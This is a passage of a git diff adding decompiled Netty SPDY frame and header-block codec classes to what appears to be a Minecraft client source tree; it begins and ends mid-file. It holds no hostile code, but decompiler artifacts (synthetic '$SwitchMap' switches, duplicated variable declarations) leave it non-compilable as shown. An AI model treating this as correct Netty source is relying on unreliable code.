+  private final int maxChunkSize;
+  private final SpdyFrameDecoderDelegate delegate;
+  private State state;
+  private byte flags;
+  private int length;
+  private int streamId;
+  private int numSettings;
+  
+  private static enum State
+  {
+    READ_COMMON_HEADER, 
+    READ_DATA_FRAME, 
+    READ_SYN_STREAM_FRAME, 
+    READ_SYN_REPLY_FRAME, 
+    READ_RST_STREAM_FRAME, 
+    READ_SETTINGS_FRAME, 
+    READ_SETTING, 
+    READ_PING_FRAME, 
+    READ_GOAWAY_FRAME, 
+    READ_HEADERS_FRAME, 
+    READ_WINDOW_UPDATE_FRAME, 
+    READ_HEADER_BLOCK, 
+    DISCARD_FRAME, 
+    FRAME_ERROR;
+    
+
+    private State() {}
+  }
+  
+  public SpdyFrameDecoder(SpdyVersion spdyVersion, SpdyFrameDecoderDelegate delegate)
+  {
+    this(spdyVersion, delegate, 8192);
+  }
+  
+
+
+  public SpdyFrameDecoder(SpdyVersion spdyVersion, SpdyFrameDecoderDelegate delegate, int maxChunkSize)
+  {
+    if (spdyVersion == null) {
+      throw new NullPointerException("spdyVersion");
+    }
+    if (delegate == null) {
+      throw new NullPointerException("delegate");
+    }
+    if (maxChunkSize <= 0) {
+      throw new IllegalArgumentException("maxChunkSize must be a positive integer: " + maxChunkSize);
+    }
+    
+    this.spdyVersion = spdyVersion.getVersion();
+    this.delegate = delegate;
+    this.maxChunkSize = maxChunkSize;
+    state = State.READ_COMMON_HEADER;
+  }
+  
+  public void decode(ByteBuf buffer)
+  {
+    for (;;) {
+      boolean last;
+      int statusCode;
+      switch (1.$SwitchMap$io$netty$handler$codec$spdy$SpdyFrameDecoder$State[state.ordinal()]) {
+      case 1: 
+        if (buffer.readableBytes() < 8) {
+          return;
+        }
+        
+        int frameOffset = buffer.readerIndex();
+        int flagsOffset = frameOffset + 4;
+        int lengthOffset = frameOffset + 5;
+        buffer.skipBytes(8);
+        
+        boolean control = (buffer.getByte(frameOffset) & 0x80) != 0;
+        
+        int version;
+        int type;
+        if (control)
+        {
+          int version = SpdyCodecUtil.getUnsignedShort(buffer, frameOffset) & 0x7FFF;
+          int type = SpdyCodecUtil.getUnsignedShort(buffer, frameOffset + 2);
+          streamId = 0;
+        }
+        else {
+          version = spdyVersion;
+          type = 0;
+          streamId = SpdyCodecUtil.getUnsignedInt(buffer, frameOffset);
+        }
+        
+        flags = buffer.getByte(flagsOffset);
+        length = SpdyCodecUtil.getUnsignedMedium(buffer, lengthOffset);
+        
+
+        if (version != spdyVersion) {
+          state = State.FRAME_ERROR;
+          delegate.readFrameError("Invalid SPDY Version");
+        } else if (!isValidFrameHeader(streamId, type, flags, length)) {
+          state = State.FRAME_ERROR;
+          delegate.readFrameError("Invalid Frame Error");
+        } else {
+          state = getNextState(type, length);
+        }
+        break;
+      
+      case 2: 
+        if (length == 0) {
+          state = State.READ_COMMON_HEADER;
+          delegate.readDataFrame(streamId, hasFlag(flags, (byte)1), Unpooled.buffer(0));
+
+        }
+        else
+        {
+          int dataLength = Math.min(maxChunkSize, length);
+          
+
+          if (buffer.readableBytes() < dataLength) {
+            return;
+          }
+          
+          ByteBuf data = buffer.alloc().buffer(dataLength);
+          data.writeBytes(buffer, dataLength);
+          length -= dataLength;
+          
+          if (length == 0) {
+            state = State.READ_COMMON_HEADER;
+          }
+          
+          last = (length == 0) && (hasFlag(flags, (byte)1));
+          
+          delegate.readDataFrame(streamId, last, data); }
+        break;
+      
+      case 3: 
+        if (buffer.readableBytes() < 10) {
+          return;
+        }
+        
+        int offset = buffer.readerIndex();
+        streamId = SpdyCodecUtil.getUnsignedInt(buffer, offset);
+        int associatedToStreamId = SpdyCodecUtil.getUnsignedInt(buffer, offset + 4);
+        byte priority = (byte)(buffer.getByte(offset + 8) >> 5 & 0x7);
+        last = hasFlag(flags, (byte)1);
+        boolean unidirectional = hasFlag(flags, (byte)2);
+        buffer.skipBytes(10);
+        length -= 10;
+        
+        if (streamId == 0) {
+          state = State.FRAME_ERROR;
+          delegate.readFrameError("Invalid SYN_STREAM Frame");
+        } else {
+          state = State.READ_HEADER_BLOCK;
+          delegate.readSynStreamFrame(streamId, associatedToStreamId, priority, last, unidirectional);
+        }
+        break;
+      
+      case 4: 
+        if (buffer.readableBytes() < 4) {
+          return;
+        }
+        
+        streamId = SpdyCodecUtil.getUnsignedInt(buffer, buffer.readerIndex());
+        last = hasFlag(flags, (byte)1);
+        
+        buffer.skipBytes(4);
+        length -= 4;
+        
+        if (streamId == 0) {
+          state = State.FRAME_ERROR;
+          delegate.readFrameError("Invalid SYN_REPLY Frame");
+        } else {
+          state = State.READ_HEADER_BLOCK;
+          delegate.readSynReplyFrame(streamId, last);
+        }
+        break;
+      
+      case 5: 
+        if (buffer.readableBytes() < 8) {
+          return;
+        }
+        
+        streamId = SpdyCodecUtil.getUnsignedInt(buffer, buffer.readerIndex());
+        statusCode = SpdyCodecUtil.getSignedInt(buffer, buffer.readerIndex() + 4);
+        buffer.skipBytes(8);
+        
+        if ((streamId == 0) || (statusCode == 0)) {
+          state = State.FRAME_ERROR;
+          delegate.readFrameError("Invalid RST_STREAM Frame");
+        } else {
+          state = State.READ_COMMON_HEADER;
+          delegate.readRstStreamFrame(streamId, statusCode);
+        }
+        break;
+      
+      case 6: 
+        if (buffer.readableBytes() < 4) {
+          return;
+        }
+        
+        boolean clear = hasFlag(flags, (byte)1);
+        
+        numSettings = SpdyCodecUtil.getUnsignedInt(buffer, buffer.readerIndex());
+        buffer.skipBytes(4);
+        length -= 4;
+        
+
+        if (((length & 0x7) != 0) || (length >> 3 != numSettings)) {
+          state = State.FRAME_ERROR;
+          delegate.readFrameError("Invalid SETTINGS Frame");
+        } else {
+          state = State.READ_SETTING;
+          delegate.readSettingsFrame(clear);
+        }
+        break;
+      
+      case 7: 
+        if (numSettings == 0) {
+          state = State.READ_COMMON_HEADER;
+          delegate.readSettingsEnd();
+        }
+        else
+        {
+          if (buffer.readableBytes() < 8) {
+            return;
+          }
+          
+          byte settingsFlags = buffer.getByte(buffer.readerIndex());
+          int id = SpdyCodecUtil.getUnsignedMedium(buffer, buffer.readerIndex() + 1);
+          int value = SpdyCodecUtil.getSignedInt(buffer, buffer.readerIndex() + 4);
+          boolean persistValue = hasFlag(settingsFlags, (byte)1);
+          boolean persisted = hasFlag(settingsFlags, (byte)2);
+          buffer.skipBytes(8);
+          
+          numSettings -= 1;
+          
+          delegate.readSetting(id, value, persistValue, persisted); }
+        break;
+      
+      case 8: 
+        if (buffer.readableBytes() < 4) {
+          return;
+        }
+        
+        int pingId = SpdyCodecUtil.getSignedInt(buffer, buffer.readerIndex());
+        buffer.skipBytes(4);
+        
+        state = State.READ_COMMON_HEADER;
+        delegate.readPingFrame(pingId);
+        break;
+      
+      case 9: 
+        if (buffer.readableBytes() < 8) {
+          return;
+        }
+        
+        int lastGoodStreamId = SpdyCodecUtil.getUnsignedInt(buffer, buffer.readerIndex());
+        statusCode = SpdyCodecUtil.getSignedInt(buffer, buffer.readerIndex() + 4);
+        buffer.skipBytes(8);
+        
+        state = State.READ_COMMON_HEADER;
+        delegate.readGoAwayFrame(lastGoodStreamId, statusCode);
+        break;
+      
+      case 10: 
+        if (buffer.readableBytes() < 4) {
+          return;
+        }
+        
+        streamId = SpdyCodecUtil.getUnsignedInt(buffer, buffer.readerIndex());
+        last = hasFlag(flags, (byte)1);
+        
+        buffer.skipBytes(4);
+        length -= 4;
+        
+        if (streamId == 0) {
+          state = State.FRAME_ERROR;
+          delegate.readFrameError("Invalid HEADERS Frame");
+        } else {
+          state = State.READ_HEADER_BLOCK;
+          delegate.readHeadersFrame(streamId, last);
+        }
+        break;
+      
+      case 11: 
+        if (buffer.readableBytes() < 8) {
+          return;
+        }
+        
+        streamId = SpdyCodecUtil.getUnsignedInt(buffer, buffer.readerIndex());
+        int deltaWindowSize = SpdyCodecUtil.getUnsignedInt(buffer, buffer.readerIndex() + 4);
+        buffer.skipBytes(8);
+        
+        if (deltaWindowSize == 0) {
+          state = State.FRAME_ERROR;
+          delegate.readFrameError("Invalid WINDOW_UPDATE Frame");
+        } else {
+          state = State.READ_COMMON_HEADER;
+          delegate.readWindowUpdateFrame(streamId, deltaWindowSize);
+        }
+        break;
+      
+      case 12: 
+        if (length == 0) {
+          state = State.READ_COMMON_HEADER;
+          delegate.readHeaderBlockEnd();
+        }
+        else
+        {
+          if (!buffer.isReadable()) {
+            return;
+          }
+          
+          int compressedBytes = Math.min(buffer.readableBytes(), length);
+          ByteBuf headerBlock = buffer.alloc().buffer(compressedBytes);
+          headerBlock.writeBytes(buffer, compressedBytes);
+          length -= compressedBytes;
+          
+          delegate.readHeaderBlock(headerBlock); }
+        break;
+      
+      case 13: 
+        int numBytes = Math.min(buffer.readableBytes(), length);
+        buffer.skipBytes(numBytes);
+        length -= numBytes;
+        if (length == 0) {
+          state = State.READ_COMMON_HEADER;
+        }
+        else
+          return;
+        break;
+      case 14: 
+        buffer.skipBytes(buffer.readableBytes());
+        return;
+      
+      default: 
+        throw new Error("Shouldn't reach here.");
+      }
+    }
+  }
+  
+  private static boolean hasFlag(byte flags, byte flag) {
+    return (flags & flag) != 0;
+  }
+  
+  private static State getNextState(int type, int length) {
+    switch (type) {
+    case 0: 
+      return State.READ_DATA_FRAME;
+    
+    case 1: 
+      return State.READ_SYN_STREAM_FRAME;
+    
+    case 2: 
+      return State.READ_SYN_REPLY_FRAME;
+    
+    case 3: 
+      return State.READ_RST_STREAM_FRAME;
+    
+    case 4: 
+      return State.READ_SETTINGS_FRAME;
+    
+    case 6: 
+      return State.READ_PING_FRAME;
+    
+    case 7: 
+      return State.READ_GOAWAY_FRAME;
+    
+    case 8: 
+      return State.READ_HEADERS_FRAME;
+    
+    case 9: 
+      return State.READ_WINDOW_UPDATE_FRAME;
+    }
+    
+    if (length != 0) {
+      return State.DISCARD_FRAME;
+    }
+    return State.READ_COMMON_HEADER;
+  }
+  
+
+  private static boolean isValidFrameHeader(int streamId, int type, byte flags, int length)
+  {
+    switch (type) {
+    case 0: 
+      return streamId != 0;
+    
+    case 1: 
+      return length >= 10;
+    
+    case 2: 
+      return length >= 4;
+    
+    case 3: 
+      return (flags == 0) && (length == 8);
+    
+    case 4: 
+      return length >= 4;
+    
+    case 6: 
+      return length == 4;
+    
+    case 7: 
+      return length == 8;
+    
+    case 8: 
+      return length >= 4;
+    
+    case 9: 
+      return length == 8;
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameDecoderDelegate.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameDecoderDelegate.java
new file mode 100644
index 0000000..4914490
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameDecoderDelegate.java
@@ -0,0 +1,34 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+
+public abstract interface SpdyFrameDecoderDelegate
+{
+  public abstract void readDataFrame(int paramInt, boolean paramBoolean, ByteBuf paramByteBuf);
+  
+  public abstract void readSynStreamFrame(int paramInt1, int paramInt2, byte paramByte, boolean paramBoolean1, boolean paramBoolean2);
+  
+  public abstract void readSynReplyFrame(int paramInt, boolean paramBoolean);
+  
+  public abstract void readRstStreamFrame(int paramInt1, int paramInt2);
+  
+  public abstract void readSettingsFrame(boolean paramBoolean);
+  
+  public abstract void readSetting(int paramInt1, int paramInt2, boolean paramBoolean1, boolean paramBoolean2);
+  
+  public abstract void readSettingsEnd();
+  
+  public abstract void readPingFrame(int paramInt);
+  
+  public abstract void readGoAwayFrame(int paramInt1, int paramInt2);
+  
+  public abstract void readHeadersFrame(int paramInt, boolean paramBoolean);
+  
+  public abstract void readWindowUpdateFrame(int paramInt1, int paramInt2);
+  
+  public abstract void readHeaderBlock(ByteBuf paramByteBuf);
+  
+  public abstract void readHeaderBlockEnd();
+  
+  public abstract void readFrameError(String paramString);
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameEncoder.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameEncoder.java
new file mode 100644
index 0000000..6e791f4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyFrameEncoder.java
@@ -0,0 +1,163 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import java.nio.ByteOrder;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpdyFrameEncoder
+{
+  private final int version;
+  
+  public SpdyFrameEncoder(SpdyVersion spdyVersion)
+  {
+    if (spdyVersion == null) {
+      throw new NullPointerException("spdyVersion");
+    }
+    version = spdyVersion.getVersion();
+  }
+  
+  private void writeControlFrameHeader(ByteBuf buffer, int type, byte flags, int length) {
+    buffer.writeShort(version | 0x8000);
+    buffer.writeShort(type);
+    buffer.writeByte(flags);
+    buffer.writeMedium(length);
+  }
+  
+  public ByteBuf encodeDataFrame(ByteBufAllocator allocator, int streamId, boolean last, ByteBuf data) {
+    byte flags = last ? 1 : 0;
+    int length = data.readableBytes();
+    ByteBuf frame = allocator.ioBuffer(8 + length).order(ByteOrder.BIG_ENDIAN);
+    frame.writeInt(streamId & 0x7FFFFFFF);
+    frame.writeByte(flags);
+    frame.writeMedium(length);
+    frame.writeBytes(data, data.readerIndex(), length);
+    return frame;
+  }
+  
+  public ByteBuf encodeSynStreamFrame(ByteBufAllocator allocator, int streamId, int associatedToStreamId, byte priority, boolean last, boolean unidirectional, ByteBuf headerBlock)
+  {
+    int headerBlockLength = headerBlock.readableBytes();
+    byte flags = last ? 1 : 0;
+    if (unidirectional) {
+      flags = (byte)(flags | 0x2);
+    }
+    int length = 10 + headerBlockLength;
+    ByteBuf frame = allocator.ioBuffer(8 + length).order(ByteOrder.BIG_ENDIAN);
+    writeControlFrameHeader(frame, 1, flags, length);
+    frame.writeInt(streamId);
+    frame.writeInt(associatedToStreamId);
+    frame.writeShort((priority & 0xFF) << 13);
+    frame.writeBytes(headerBlock, headerBlock.readerIndex(), headerBlockLength);
+    return frame;
+  }
+  
+  public ByteBuf encodeSynReplyFrame(ByteBufAllocator allocator, int streamId, boolean last, ByteBuf headerBlock) {
+    int headerBlockLength = headerBlock.readableBytes();
+    byte flags = last ? 1 : 0;
+    int length = 4 + headerBlockLength;
+    ByteBuf frame = allocator.ioBuffer(8 + length).order(ByteOrder.BIG_ENDIAN);
+    writeControlFrameHeader(frame, 2, flags, length);
+    frame.writeInt(streamId);
+    frame.writeBytes(headerBlock, headerBlock.readerIndex(), headerBlockLength);
+    return frame;
+  }
+  
+  public ByteBuf encodeRstStreamFrame(ByteBufAllocator allocator, int streamId, int statusCode) {
+    byte flags = 0;
+    int length = 8;
+    ByteBuf frame = allocator.ioBuffer(8 + length).order(ByteOrder.BIG_ENDIAN);
+    writeControlFrameHeader(frame, 3, flags, length);
+    frame.writeInt(streamId);
+    frame.writeInt(statusCode);
+    return frame;
+  }
+  
+  public ByteBuf encodeSettingsFrame(ByteBufAllocator allocator, SpdySettingsFrame spdySettingsFrame) {
+    Set<Integer> ids = spdySettingsFrame.ids();
+    int numSettings = ids.size();
+    
+    byte flags = spdySettingsFrame.clearPreviouslyPersistedSettings() ? 1 : 0;
+    
+    int length = 4 + 8 * numSettings;
+    ByteBuf frame = allocator.ioBuffer(8 + length).order(ByteOrder.BIG_ENDIAN);
+    writeControlFrameHeader(frame, 4, flags, length);
+    frame.writeInt(numSettings);
+    for (Integer id : ids) {
+      flags = 0;
+      if (spdySettingsFrame.isPersistValue(id.intValue())) {
+        flags = (byte)(flags | 0x1);
+      }
+      if (spdySettingsFrame.isPersisted(id.intValue())) {
+        flags = (byte)(flags | 0x2);
+      }
+      frame.writeByte(flags);
+      frame.writeMedium(id.intValue());
+      frame.writeInt(spdySettingsFrame.getValue(id.intValue()));
+    }
+    return frame;
+  }
+  
+  public ByteBuf encodePingFrame(ByteBufAllocator allocator, int id) {
+    byte flags = 0;
+    int length = 4;
+    ByteBuf frame = allocator.ioBuffer(8 + length).order(ByteOrder.BIG_ENDIAN);
+    writeControlFrameHeader(frame, 6, flags, length);
+    frame.writeInt(id);
+    return frame;
+  }
+  
+  public ByteBuf encodeGoAwayFrame(ByteBufAllocator allocator, int lastGoodStreamId, int statusCode) {
+    byte flags = 0;
+    int length = 8;
+    ByteBuf frame = allocator.ioBuffer(8 + length).order(ByteOrder.BIG_ENDIAN);
+    writeControlFrameHeader(frame, 7, flags, length);
+    frame.writeInt(lastGoodStreamId);
+    frame.writeInt(statusCode);
+    return frame;
+  }
+  
+  public ByteBuf encodeHeadersFrame(ByteBufAllocator allocator, int streamId, boolean last, ByteBuf headerBlock) {
+    int headerBlockLength = headerBlock.readableBytes();
+    byte flags = last ? 1 : 0;
+    int length = 4 + headerBlockLength;
+    ByteBuf frame = allocator.ioBuffer(8 + length).order(ByteOrder.BIG_ENDIAN);
+    writeControlFrameHeader(frame, 8, flags, length);
+    frame.writeInt(streamId);
+    frame.writeBytes(headerBlock, headerBlock.readerIndex(), headerBlockLength);
+    return frame;
+  }
+  
+  public ByteBuf encodeWindowUpdateFrame(ByteBufAllocator allocator, int streamId, int deltaWindowSize) {
+    byte flags = 0;
+    int length = 8;
+    ByteBuf frame = allocator.ioBuffer(8 + length).order(ByteOrder.BIG_ENDIAN);
+    writeControlFrameHeader(frame, 9, flags, length);
+    frame.writeInt(streamId);
+    frame.writeInt(deltaWindowSize);
+    return frame;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyGoAwayFrame.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyGoAwayFrame.java
new file mode 100644
index 0000000..df9dc2b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyGoAwayFrame.java
@@ -0,0 +1,13 @@
+package io.netty.handler.codec.spdy;
+
+public abstract interface SpdyGoAwayFrame
+  extends SpdyFrame
+{
+  public abstract int lastGoodStreamId();
+  
+  public abstract SpdyGoAwayFrame setLastGoodStreamId(int paramInt);
+  
+  public abstract SpdySessionStatus status();
+  
+  public abstract SpdyGoAwayFrame setStatus(SpdySessionStatus paramSpdySessionStatus);
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockDecoder.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockDecoder.java
new file mode 100644
index 0000000..6bb7ac1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockDecoder.java
@@ -0,0 +1,33 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class SpdyHeaderBlockDecoder
+{
+  SpdyHeaderBlockDecoder() {}
+  
+  static SpdyHeaderBlockDecoder newInstance(SpdyVersion spdyVersion, int maxHeaderSize)
+  {
+    return new SpdyHeaderBlockZlibDecoder(spdyVersion, maxHeaderSize);
+  }
+  
+  abstract void decode(ByteBuf paramByteBuf, SpdyHeadersFrame paramSpdyHeadersFrame)
+    throws Exception;
+  
+  abstract void endHeaderBlock(SpdyHeadersFrame paramSpdyHeadersFrame)
+    throws Exception;
+  
+  abstract void end();
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockEncoder.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockEncoder.java
new file mode 100644
index 0000000..2971d76
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockEncoder.java
@@ -0,0 +1,37 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class SpdyHeaderBlockEncoder
+{
+  SpdyHeaderBlockEncoder() {}
+  
+  static SpdyHeaderBlockEncoder newInstance(SpdyVersion version, int compressionLevel, int windowBits, int memLevel)
+  {
+    if (PlatformDependent.javaVersion() >= 7) {
+      return new SpdyHeaderBlockZlibEncoder(version, compressionLevel);
+    }
+    
+    return new SpdyHeaderBlockJZlibEncoder(version, compressionLevel, windowBits, memLevel);
+  }
+  
+  abstract ByteBuf encode(SpdyHeadersFrame paramSpdyHeadersFrame)
+    throws Exception;
+  
+  abstract void end();
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockJZlibEncoder.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockJZlibEncoder.java
new file mode 100644
index 0000000..046c85c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockJZlibEncoder.java
@@ -0,0 +1,126 @@
+package io.netty.handler.codec.spdy;
+
+import com.jcraft.jzlib.Deflater;
+import com.jcraft.jzlib.JZlib;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.compression.CompressionException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class SpdyHeaderBlockJZlibEncoder
+  extends SpdyHeaderBlockRawEncoder
+{
+  private final Deflater z = new Deflater();
+  
+  private boolean finished;
+  
+  SpdyHeaderBlockJZlibEncoder(SpdyVersion version, int compressionLevel, int windowBits, int memLevel)
+  {
+    super(version);
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    
+    if ((windowBits < 9) || (windowBits > 15)) {
+      throw new IllegalArgumentException("windowBits: " + windowBits + " (expected: 9-15)");
+    }
+    
+    if ((memLevel < 1) || (memLevel > 9)) {
+      throw new IllegalArgumentException("memLevel: " + memLevel + " (expected: 1-9)");
+    }
+    
+
+    int resultCode = z.deflateInit(compressionLevel, windowBits, memLevel, JZlib.W_ZLIB);
+    
+    if (resultCode != 0) {
+      throw new CompressionException("failed to initialize an SPDY header block deflater: " + resultCode);
+    }
+    
+    resultCode = z.deflateSetDictionary(SpdyCodecUtil.SPDY_DICT, SpdyCodecUtil.SPDY_DICT.length);
+    if (resultCode != 0) {
+      throw new CompressionException("failed to set the SPDY dictionary: " + resultCode);
+    }
+  }
+  
+
+  private void setInput(ByteBuf decompressed)
+  {
+    byte[] in = new byte[decompressed.readableBytes()];
+    decompressed.readBytes(in);
+    z.next_in = in;
+    z.next_in_index = 0;
+    z.avail_in = in.length;
+  }
+  
+  private void encode(ByteBuf compressed) {
+    try {
+      byte[] out = new byte[(int)Math.ceil(z.next_in.length * 1.001D) + 12];
+      z.next_out = out;
+      z.next_out_index = 0;
+      z.avail_out = out.length;
+      
+      int resultCode = z.deflate(2);
+      if (resultCode != 0) {
+        throw new CompressionException("compression failure: " + resultCode);
+      }
+      
+      if (z.next_out_index != 0) {
+        compressed.writeBytes(out, 0, z.next_out_index);
+      }
+      
+
+    }
+    finally
+    {
+      z.next_in = null;
+      z.next_out = null;
+    }
+  }
+  
+  public ByteBuf encode(SpdyHeadersFrame frame) throws Exception
+  {
+    if (frame == null) {
+      throw new IllegalArgumentException("frame");
+    }
+    
+    if (finished) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    ByteBuf decompressed = super.encode(frame);
+    if (decompressed.readableBytes() == 0) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    ByteBuf compressed = decompressed.alloc().buffer();
+    setInput(decompressed);
+    encode(compressed);
+    return compressed;
+  }
+  
+  public void end()
+  {
+    if (finished) {
+      return;
+    }
+    finished = true;
+    z.deflateEnd();
+    z.next_in = null;
+    z.next_out = null;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockRawDecoder.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockRawDecoder.java
new file mode 100644
index 0000000..1913c03
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockRawDecoder.java
@@ -0,0 +1,310 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpdyHeaderBlockRawDecoder
+  extends SpdyHeaderBlockDecoder
+{
+  private static final int LENGTH_FIELD_SIZE = 4;
+  private final int maxHeaderSize;
+  private State state;
+  private ByteBuf cumulation;
+  private int headerSize;
+  private int numHeaders;
+  private int length;
+  private String name;
+  
+  private static enum State
+  {
+    READ_NUM_HEADERS, 
+    READ_NAME_LENGTH, 
+    READ_NAME, 
+    SKIP_NAME, 
+    READ_VALUE_LENGTH, 
+    READ_VALUE, 
+    SKIP_VALUE, 
+    END_HEADER_BLOCK, 
+    ERROR;
+    
+    private State() {} }
+  
+  public SpdyHeaderBlockRawDecoder(SpdyVersion spdyVersion, int maxHeaderSize) { if (spdyVersion == null) {
+      throw new NullPointerException("spdyVersion");
+    }
+    this.maxHeaderSize = maxHeaderSize;
+    state = State.READ_NUM_HEADERS;
+  }
+  
+  private static int readLengthField(ByteBuf buffer) {
+    int length = SpdyCodecUtil.getSignedInt(buffer, buffer.readerIndex());
+    buffer.skipBytes(4);
+    return length;
+  }
+  
+  void decode(ByteBuf headerBlock, SpdyHeadersFrame frame) throws Exception
+  {
+    if (headerBlock == null) {
+      throw new NullPointerException("headerBlock");
+    }
+    if (frame == null) {
+      throw new NullPointerException("frame");
+    }
+    
+    if (cumulation == null) {
+      decodeHeaderBlock(headerBlock, frame);
+      if (headerBlock.isReadable()) {
+        cumulation = headerBlock.alloc().buffer(headerBlock.readableBytes());
+        cumulation.writeBytes(headerBlock);
+      }
+    } else {
+      cumulation.writeBytes(headerBlock);
+      decodeHeaderBlock(cumulation, frame);
+      if (cumulation.isReadable()) {
+        cumulation.discardReadBytes();
+      } else {
+        releaseBuffer();
+      }
+    }
+  }
+  
+  protected void decodeHeaderBlock(ByteBuf headerBlock, SpdyHeadersFrame frame) throws Exception
+  {
+    while (headerBlock.isReadable()) { int skipLength;
+      switch (1.$SwitchMap$io$netty$handler$codec$spdy$SpdyHeaderBlockRawDecoder$State[state.ordinal()]) {
+      case 1: 
+        if (headerBlock.readableBytes() < 4) {
+          return;
+        }
+        
+        numHeaders = readLengthField(headerBlock);
+        
+        if (numHeaders < 0) {
+          state = State.ERROR;
+          frame.setInvalid();
+        } else if (numHeaders == 0) {
+          state = State.END_HEADER_BLOCK;
+        } else {
+          state = State.READ_NAME_LENGTH;
+        }
+        break;
+      
+      case 2: 
+        if (headerBlock.readableBytes() < 4) {
+          return;
+        }
+        
+        length = readLengthField(headerBlock);
+        
+
+        if (length <= 0) {
+          state = State.ERROR;
+          frame.setInvalid();
+        } else if ((length > maxHeaderSize) || (headerSize > maxHeaderSize - length)) {
+          headerSize = (maxHeaderSize + 1);
+          state = State.SKIP_NAME;
+          frame.setTruncated();
+        } else {
+          headerSize += length;
+          state = State.READ_NAME;
+        }
+        break;
+      
+      case 3: 
+        if (headerBlock.readableBytes() < length) {
+          return;
+        }
+        
+        byte[] nameBytes = new byte[length];
+        headerBlock.readBytes(nameBytes);
+        name = new String(nameBytes, "UTF-8");
+        
+
+        if (frame.headers().contains(name)) {
+          state = State.ERROR;
+          frame.setInvalid();
+        } else {
+          state = State.READ_VALUE_LENGTH;
+        }
+        break;
+      
+      case 4: 
+        skipLength = Math.min(headerBlock.readableBytes(), length);
+        headerBlock.skipBytes(skipLength);
+        length -= skipLength;
+        
+        if (length == 0) {
+          state = State.READ_VALUE_LENGTH;
+        }
+        
+        break;
+      case 5: 
+        if (headerBlock.readableBytes() < 4) {
+          return;
+        }
+        
+        length = readLengthField(headerBlock);
+        
+
+        if (length < 0) {
+          state = State.ERROR;
+          frame.setInvalid();
+        } else if (length == 0) {
+          if (!frame.isTruncated())
+          {
+            frame.headers().add(name, "");
+          }
+          
+          name = null;
+          if (--numHeaders == 0) {
+            state = State.END_HEADER_BLOCK;
+          } else {
+            state = State.READ_NAME_LENGTH;
+          }
+        }
+        else if ((length > maxHeaderSize) || (headerSize > maxHeaderSize - length)) {
+          headerSize = (maxHeaderSize + 1);
+          name = null;
+          state = State.SKIP_VALUE;
+          frame.setTruncated();
+        } else {
+          headerSize += length;
+          state = State.READ_VALUE;
+        }
+        break;
+      
+      case 6: 
+        if (headerBlock.readableBytes() < length) {
+          return;
+        }
+        
+        byte[] valueBytes = new byte[length];
+        headerBlock.readBytes(valueBytes);
+        
+
+        int index = 0;
+        int offset = 0;
+        
+
+        if (valueBytes[0] == 0) {
+          state = State.ERROR;
+          frame.setInvalid();
+        }
+        else
+        {
+          while (index < length) {
+            while ((index < valueBytes.length) && (valueBytes[index] != 0)) {
+              index++;
+            }
+            if (index < valueBytes.length)
+            {
+              if ((index + 1 == valueBytes.length) || (valueBytes[(index + 1)] == 0))
+              {
+
+
+                state = State.ERROR;
+                frame.setInvalid();
+                break;
+              }
+            }
+            String value = new String(valueBytes, offset, index - offset, "UTF-8");
+            try
+            {
+              frame.headers().add(name, value);
+            }
+            catch (IllegalArgumentException e) {
+              state = State.ERROR;
+              frame.setInvalid();
+              break;
+            }
+            index++;
+            offset = index;
+          }
+          
+          name = null;
+          
+
+          if (state != State.ERROR)
+          {
+
+
+            if (--numHeaders == 0) {
+              state = State.END_HEADER_BLOCK;
+            } else
+              state = State.READ_NAME_LENGTH; }
+        }
+        break;
+      
+      case 7: 
+        skipLength = Math.min(headerBlock.readableBytes(), length);
+        headerBlock.skipBytes(skipLength);
+        length -= skipLength;
+        
+        if (length == 0) {
+          if (--numHeaders == 0) {
+            state = State.END_HEADER_BLOCK;
+          } else {
+            state = State.READ_NAME_LENGTH;
+          }
+        }
+        
+        break;
+      case 8: 
+        state = State.ERROR;
